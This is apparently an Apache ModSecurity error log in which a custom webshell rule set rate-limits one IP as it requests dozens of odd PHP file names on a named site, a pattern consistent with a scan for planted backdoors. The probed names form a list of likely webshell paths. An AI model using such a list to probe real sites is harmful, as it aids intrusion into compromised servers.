[Sun Dec 28 20:00:27.274292 2025] [:error] [pid 42293:tid 42332] [client 4.193.233.56:15323] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "aVEb28vc9B-5cwN385LojwAAAEk"]
[Sun Dec 28 20:00:27.551025 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:15361] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "aVEb27chzOOtNL9VPNLxJQAAAYk"]
[Sun Dec 28 20:00:27.836802 2025] [:error] [pid 42293:tid 42343] [client 4.193.233.56:15608] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ii5file.php"] [unique_id "aVEb28vc9B-5cwN385LokAAAAFQ"]
[Sun Dec 28 20:00:28.159016 2025] [:error] [pid 42378:tid 42402] [client 4.193.233.56:15272] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ii5file.php"] [unique_id "aVEb3DgtcN-KHAjWrX8b-QAAANY"]
[Sun Dec 28 20:00:28.473736 2025] [:error] [pid 29436:tid 29441] [client 4.193.233.56:15237] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ii5file.php"] [unique_id "aVEb3LchzOOtNL9VPNLxKwAAAYI"]
[Sun Dec 28 20:00:28.773771 2025] [:error] [pid 29436:tid 29447] [client 4.193.233.56:16750] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ii5file.php"] [unique_id "aVEb3LchzOOtNL9VPNLxLQAAAYg"]
[Sun Dec 28 20:00:29.172407 2025] [:error] [pid 42294:tid 42360] [client 4.193.233.56:15200] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVEb3dTE5kYcYCOzl9G_bQAAAIo"]
[Sun Dec 28 20:00:29.400396 2025] [:error] [pid 42294:tid 42358] [client 4.193.233.56:15605] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVEb3dTE5kYcYCOzl9G_bgAAAIg"]
[Sun Dec 28 20:00:29.636838 2025] [:error] [pid 29436:tid 29456] [client 4.193.233.56:15309] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVEb3bchzOOtNL9VPNLxMQAAAZE"]
[Sun Dec 28 20:00:29.894773 2025] [:error] [pid 29436:tid 29439] [client 4.193.233.56:15339] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVEb3bchzOOtNL9VPNLxMwAAAYA"]
[Sun Dec 28 20:00:30.124888 2025] [:error] [pid 42293:tid 42331] [client 4.193.233.56:15414] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVEb3svc9B-5cwN385LolAAAAEg"]
[Sun Dec 28 20:00:30.505010 2025] [:error] [pid 42293:tid 42338] [client 4.193.233.56:15338] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVEb3svc9B-5cwN385LolgAAAE8"]
[Sun Dec 28 20:00:30.781678 2025] [:error] [pid 42293:tid 42341] [client 4.193.233.56:15483] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVEb3svc9B-5cwN385LomAAAAFI"]
[Sun Dec 28 20:00:31.264952 2025] [:error] [pid 42294:tid 42352] [client 4.193.233.56:15355] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVEb39TE5kYcYCOzl9G_cgAAAII"]
[Sun Dec 28 20:00:31.493949 2025] [:error] [pid 29436:tid 29455] [client 4.193.233.56:15346] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aVEb37chzOOtNL9VPNLxNQAAAZA"]
[Sun Dec 28 20:00:31.759262 2025] [:error] [pid 42294:tid 42364] [client 4.193.233.56:15423] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aVEb39TE5kYcYCOzl9G_cwAAAI4"]
[Sun Dec 28 20:00:32.179686 2025] [:error] [pid 42294:tid 42372] [client 4.193.233.56:15325] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aVEb4NTE5kYcYCOzl9G_dQAAAJY"]
[Sun Dec 28 20:00:32.577221 2025] [:error] [pid 43789:tid 43814] [client 4.193.233.56:15267] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aVEb4Aa-tUppni4CcCY03gAAARc"]
[Sun Dec 28 20:00:33.130379 2025] [:error] [pid 29437:tid 29478] [client 4.193.233.56:15391] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aVEb4RhDotAbVk6pZLfFmQAAAcw"]
[Sun Dec 28 20:00:33.500073 2025] [:error] [pid 42293:tid 42333] [client 4.193.233.56:15304] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aVEb4cvc9B-5cwN385LongAAAEo"]
[Sun Dec 28 20:00:33.728165 2025] [:error] [pid 42293:tid 42332] [client 4.193.233.56:15356] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aVEb4cvc9B-5cwN385LooAAAAEk"]
[Sun Dec 28 20:00:34.073206 2025] [:error] [pid 42294:tid 42369] [client 4.193.233.56:16709] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aVEb4tTE5kYcYCOzl9G_dwAAAJM"]
[Sun Dec 28 20:00:34.304327 2025] [:error] [pid 42294:tid 42362] [client 4.193.233.56:15475] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qjaqjahu.php"] [unique_id "aVEb4tTE5kYcYCOzl9G_eAAAAIw"]
[Sun Dec 28 20:00:34.643235 2025] [:error] [pid 42294:tid 42371] [client 4.193.233.56:15296] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qjaqjahu.php"] [unique_id "aVEb4tTE5kYcYCOzl9G_fAAAAJU"]
[Sun Dec 28 20:00:35.084995 2025] [:error] [pid 42378:tid 42383] [client 4.193.233.56:15393] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qjaqjahu.php"] [unique_id "aVEb4zgtcN-KHAjWrX8b-gAAAMM"]
[Sun Dec 28 20:00:35.797273 2025] [:error] [pid 42293:tid 42345] [client 4.193.233.56:15313] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qjaqjahu.php"] [unique_id "aVEb48vc9B-5cwN385LoogAAAFY"]
[Sun Dec 28 20:00:36.151594 2025] [:error] [pid 42293:tid 42344] [client 4.193.233.56:15465] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g7y.php"] [unique_id "aVEb5Mvc9B-5cwN385LoowAAAFU"]
[Sun Dec 28 20:00:36.363432 2025] [:error] [pid 42292:tid 42311] [client 4.193.233.56:15419] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g7y.php"] [unique_id "aVEb5JyOrM_vaFx1osZLSwAAAA8"]
[Sun Dec 28 20:00:36.903327 2025] [:error] [pid 29436:tid 29462] [client 4.193.233.56:15366] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g7y.php"] [unique_id "aVEb5LchzOOtNL9VPNLxOwAAAZc"]
[Sun Dec 28 20:00:37.674053 2025] [:error] [pid 42378:tid 42394] [client 4.193.233.56:15405] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g7y.php"] [unique_id "aVEb5TgtcN-KHAjWrX8b_gAAAM4"]
[Sun Dec 28 20:00:37.972344 2025] [:error] [pid 42378:tid 42388] [client 4.193.233.56:15403] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/khgdl.php"] [unique_id "aVEb5TgtcN-KHAjWrX8b_wAAAMg"]
[Sun Dec 28 20:00:38.225481 2025] [:error] [pid 42292:tid 42297] [client 4.193.233.56:15234] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/khgdl.php"] [unique_id "aVEb5pyOrM_vaFx1osZLTQAAAAE"]
[Sun Dec 28 20:00:38.404259 2025] [:error] [pid 29437:tid 29475] [client 4.193.233.56:15433] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/khgdl.php"] [unique_id "aVEb5hhDotAbVk6pZLfFoQAAAck"]
[Sun Dec 28 20:00:38.677999 2025] [:error] [pid 29437:tid 29483] [client 4.193.233.56:15265] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/khgdl.php"] [unique_id "aVEb5hhDotAbVk6pZLfFogAAAdE"]
[Sun Dec 28 20:00:39.013400 2025] [:error] [pid 42293:tid 42337] [client 4.193.233.56:15232] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s121ws2s.php"] [unique_id "aVEb58vc9B-5cwN385LopQAAAE4"]
[Sun Dec 28 20:00:39.425439 2025] [:error] [pid 42293:tid 42327] [client 4.193.233.56:15489] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s121ws2s.php"] [unique_id "aVEb58vc9B-5cwN385LopgAAAEQ"]
[Sun Dec 28 20:00:39.840675 2025] [:error] [pid 29437:tid 29488] [client 4.193.233.56:15283] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s121ws2s.php"] [unique_id "aVEb5xhDotAbVk6pZLfFpQAAAdY"]
[Sun Dec 28 20:00:40.454058 2025] [:error] [pid 42294:tid 42358] [client 4.193.233.56:15472] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s121ws2s.php"] [unique_id "aVEb6NTE5kYcYCOzl9G_gQAAAIg"]
[Sun Dec 28 20:00:41.048868 2025] [:error] [pid 42378:tid 42390] [client 4.193.233.56:15235] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aVEb6TgtcN-KHAjWrX8cBQAAAMo"]
[Sun Dec 28 20:00:41.384104 2025] [:error] [pid 42293:tid 42329] [client 4.193.233.56:15319] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aVEb6cvc9B-5cwN385LoqgAAAEY"]
[Sun Dec 28 20:00:41.690095 2025] [:error] [pid 42292:tid 42313] [client 4.193.233.56:15322] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aVEb6ZyOrM_vaFx1osZLTgAAABE"]
[Sun Dec 28 20:00:42.256006 2025] [:error] [pid 29437:tid 29473] [client 4.193.233.56:15188] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aVEb6hhDotAbVk6pZLfFqQAAAcc"]
[Sun Dec 28 20:00:42.524169 2025] [:error] [pid 29436:tid 29439] [client 4.193.233.56:15345] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aVEb6rchzOOtNL9VPNLxRgAAAYA"]
[Sun Dec 28 20:00:42.808444 2025] [:error] [pid 42293:tid 42326] [client 4.193.233.56:15258] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aVEb6svc9B-5cwN385LorAAAAEM"]
[Sun Dec 28 20:00:43.226758 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:15242] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aVEb67chzOOtNL9VPNLxSQAAAYk"]
[Sun Dec 28 20:00:43.873478 2025] [:error] [pid 42294:tid 42366] [client 4.193.233.56:15306] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww3.php"] [unique_id "aVEb69TE5kYcYCOzl9G_gwAAAJA"]
[Sun Dec 28 20:00:44.212522 2025] [:error] [pid 42378:tid 42401] [client 4.193.233.56:15244] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aVEb7DgtcN-KHAjWrX8cCQAAANU"]
[Sun Dec 28 20:00:47.771637 2025] [:error] [pid 43789:tid 43795] [client 4.193.233.56:15286] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aVEb7wa-tUppni4CcCY0_AAAAQQ"]
[Sun Dec 28 20:00:48.030828 2025] [:error] [pid 29388:tid 29397] [client 4.193.233.56:15344] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aVEb8NoLv2L2zI_SpdXh0QAAAUE"]
[Sun Dec 28 20:00:48.275215 2025] [:error] [pid 42293:tid 42341] [client 4.193.233.56:15263] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aVEb8Mvc9B-5cwN385LotQAAAFI"]
[Sun Dec 28 20:00:48.515070 2025] [:error] [pid 43789:tid 43807] [client 4.193.233.56:15252] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEb8Aa-tUppni4CcCY0_wAAARA"]
[Sun Dec 28 20:00:48.750160 2025] [:error] [pid 42294:tid 42362] [client 4.193.233.56:15545] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEb8NTE5kYcYCOzl9G_hwAAAIw"]
[Sun Dec 28 20:00:49.357211 2025] [:error] [pid 42293:tid 42335] [client 4.193.233.56:15349] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEb8cvc9B-5cwN385LotgAAAEw"]
[Sun Dec 28 20:00:49.707018 2025] [:error] [pid 29388:tid 29398] [client 4.193.233.56:15249] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEb8doLv2L2zI_SpdXh0wAAAUI"]
[Sun Dec 28 20:00:50.166234 2025] [:error] [pid 29388:tid 29406] [client 4.193.233.56:15275] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aVEb8toLv2L2zI_SpdXh1wAAAUo"]
[Sun Dec 28 20:00:50.508926 2025] [:error] [pid 42292:tid 42299] [client 4.193.233.56:15478] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aVEb8pyOrM_vaFx1osZLUwAAAAM"]
